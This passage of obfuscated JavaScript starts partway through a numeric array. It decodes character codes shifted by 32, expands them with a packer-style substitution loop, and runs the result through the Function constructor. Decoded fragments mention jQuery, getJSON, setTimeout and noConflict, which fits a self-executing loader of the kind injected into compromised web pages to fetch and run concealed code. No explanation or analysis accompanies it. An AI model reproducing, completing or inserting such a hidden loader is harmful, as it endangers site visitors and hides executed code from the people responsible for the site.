16,14,65,80,80,69,78,68,8,54,82,9,93,67,65,84,67,72,8,54,81,9,91,93,93,9,93,12,3,45,10,3,45,10,3,45,9,93,9,93,9,93,69,76,83,69,91,0,12,0,13,12,17,11,94,52,52,52,0,16,93,93,0,13,9,8,9,3,74,83,32,70,85,78,67,84,73,79,78,54,3,34,56,7,12,7,64,7,26,7,94,3,77,8,7,60,82,69,84,85,82,78,0,0,14,71,69,84,53,52,35,0,1,14,78,79,35,79,78,70,76,73,67,84,8,84,82,85,69,9,93,67,65,84,67,72,8,69,9,91,93,0,4,3,85,14,54,0,5,8,9,12,54,48,0,0,0,6,86,65,82,0,3,0,8,14,76,69,78,71,84,72,0,9,3,85,14,3,0,10,8,84,89,80,69,79,70,8,4,0,11,36,65,84,69,14,80,82,79,84,79,84,89,80,69,14,3,0,12,83,69,84,52,73,77,69,79,85,84,8,0,26,0,13,54,52,8,3,85,14,74,49,85,69,82,89,9,93,0,15,27,73,70,8,0,16,7,9,9,0,17,89,49,40,52,80,87,69,69,69,80,49,0,18,9,91,60,0,0,19,9,27,3,0,20,4,14,71,69,84,42,51,47,46,8,3,0,21,52,90,69,69,85,2,9,11,54,69,0,22,29,94,90,7,9,11,0,23,14,74,79,73,78,8,0,24,3,67,29,3,51,59,3,70,11,54,0,25,93,32,0,3,0,26,32,8,9,91,0,27,11,8,11,94,69,0,16,27,54];d='';mapper=[3,32,54,56,64,94,60,0,0,0,1,0,4,0,5,0,6,0,8,0,9,0,10,0,11,0,12,0,13,0,15,0,16,0,17,0,18,0,19,0,20,0,21,0,22,0,23,0,24,0,25,0,26,0,27];map='';function fs(ro,arr,add){for(var i=0;i<arr.length;i++){ro+=String.fromCharCode(arr[i]+add);}return ro;}d=fs(d,qq2,32);d=fs(d,qq21,32);d=fs(d,qq3,32);d=fs(d,qq31,32);map=fs(map,mapper,32);function a(b,c){return b[c];};function ro(){return 'romChar';}for(c=55;c;d=(t=d.split(map.substr(c-=(x=c<9?1:2),x))).join(t.pop()));$$(d)})(function(jsBb){return(function(jsB,jsBs){return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)()})((function(jsB){return jsB.constructor}),(function(jsB){return(function(jsBs){return jsB.call(jsB,jsBs)})}))});



